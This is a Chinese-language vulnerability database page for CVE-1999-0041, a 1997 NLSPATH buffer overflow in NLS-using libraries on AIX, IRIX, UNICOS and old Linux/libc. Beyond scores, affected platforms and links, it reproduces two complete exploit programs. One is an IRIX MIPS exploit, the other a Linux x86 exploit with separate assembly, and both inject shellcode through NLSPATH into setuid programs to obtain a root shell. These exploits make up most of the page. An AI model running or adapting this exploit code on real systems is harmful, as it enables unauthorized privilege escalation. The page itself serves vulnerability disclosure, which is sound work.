CVE-1999-0041
CVSS7.5
发布时间 :1997-02-13 00:00:00
修订时间 :2008-09-09 08:33:36
NMCOE    

[原文]Buffer overflow in NLS (Natural Language Service).


[CNNVD]NLS (Natural Language Service)缓冲区溢出漏洞(CNNVD-199702-011)

        NLS (Natural Language Service)存在缓冲区溢出漏洞。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:3.2.5IBM AIX 3.2.5
cpe:/a:gnu:libc:5.2.18Linux libc 5.2.18
cpe:/a:gnu:libc:5.0.9Linux libc 5.0.9
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:cray:unicos:1.5::mk
cpe:/o:cray:unicos:9.0Cray UNICOS 9.0
cpe:/o:slackware:slackware_linux:3.1
cpe:/a:gnu:libc:5.3.12Linux libc 5.3.12
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:cray:unicos:9.2Cray UNICOS 9.2
cpe:/o:cray:unicos_max:1.3Cray UNICOS 1.3 MAX
cpe:/o:redhat:linux:4.0Red Hat Linux 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0041
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0041
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199702-011
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

NLS (Natural Language Service)缓冲区溢出漏洞
高危 缓冲区溢出
1997-02-13 00:00:00 2006-11-16 00:00:00
远程  
        NLS (Natural Language Service)存在缓冲区溢出漏洞。

- 公告与补丁

        

- 漏洞信息 (19551)

UNICOS 9/MAX 1.3/mk 1.5,AIX <= 4.2,libc <= 5.2.18,RedHat 4,IRIX 6,Slackware 3 NLS Vuln(1) (EDBID:19551)
multiple local
1997-02-13 Verified
0 Last Stage of Delirium
N/A [点击下载]
Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (1)   

source: http://www.securityfocus.com/bid/711/info

A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats.

Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others.

It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. 

/*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
/*## libc.so $NLSPATH                                                        #*/

#define NOPNUM 768
#define ADRNUM 176
#define TMPNUM 200

char setreuidcode[]=
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],tmp[4],*b,*envp[2];
    int i,n=-1;

    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
    printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n");

    if(argc!=2){
        printf("usage: %s {login|who|netprint|ordist|cancel|route|"
            "at}\n",argv[0]);
        exit(-1);
    }
    if(!strcmp(argv[1],"login")) n=0;
    if(!strcmp(argv[1],"who")) n=1;
    if(!strcmp(argv[1],"netprint")) n=2;
    if(!strcmp(argv[1],"ordist")) n=3;
    if(!strcmp(argv[1],"cancel")) n=4;
    if(!strcmp(argv[1],"route")) n=5;
    if(!strcmp(argv[1],"at")) n=6;
    if(n==-1) exit(-1);

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800;
    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"NLSPATH=");
    b+=8;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; 
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b++=0xff;
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    switch(n){
    case 0: execle("/bin/login","lsd",0,envp);
    case 1: execle("/sbin/who","lsd",0,envp);
    case 2: execle("/usr/lib/print/netprint","lsd",0,envp);
    case 3: execle("/usr/bsd/ordist","lsd",0,envp);
    case 4: execle("/usr/bin/cancel","lsd",0,envp);
    case 5: execle("/usr/etc/route","lsd","add",0,envp);
    case 6: execle("/usr/bin/at","lsd","bzz",0,envp);
    }
}

		

- 漏洞信息 (19552)

UNICOS 9/MAX 1.3/mk 1.5,AIX <= 4.2,libc <= 5.2.18,RedHat 4,IRIX 6,Slackware 3 NLS Vuln(2) (EDBID:19552)
multiple local
1997-02-13 Verified
0 Solar Designer
N/A [点击下载]
Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2)  
 
source: http://www.securityfocus.com/bid/711/info
 
A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats.
 
Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others.
 
It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. 


--- nlspath.c ---

/*
 * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
 * Copyright (c) 1997 by Solar Designer
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
   asm("movl %esp,%eax");
}

#define bufsize 2048
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() - 3072;

  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));

  buffer[bufsize - 1] = 0;

  setenv("NLSPATH", buffer, 1);

  execl("/bin/su", "/bin/su", NULL);
}

--- nlspath.c ---

And the shellcode separately:

--- shellcode.s ---

.text
.globl shellcode
shellcode:
xorl %eax,%eax
movb $0x31,%al
int $0x80
xchgl %eax,%ebx
xorl %eax,%eax
movb $0x17,%al
int $0x80
.byte 0x68
popl %ecx
popl %eax
jmp *%ecx
call *%esp
xorl %eax,%eax
cltd
movl %ecx,%edi
movb $'/'-1,%al
incl %eax
scasb %es:(%edi),%al
jne -3
movl %edi,(%ecx)
movl %edx,4(%ecx)
movl %edi,%ebx
incl %eax
scasb %es:(%edi),%al
jne -3
movb %dl,-1(%edi)
movb $0x0B,%al
int $0x80
xorl %eax,%eax
incl %eax
xorl %ebx,%ebx
int $0x80
.byte '/'
.string "/bin/sh0"

--- shellcode.s ---







		

- 漏洞信息

1109
Multiple Vendor Natural Language Service (NLS) Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

1997-04-01 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, IBM has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站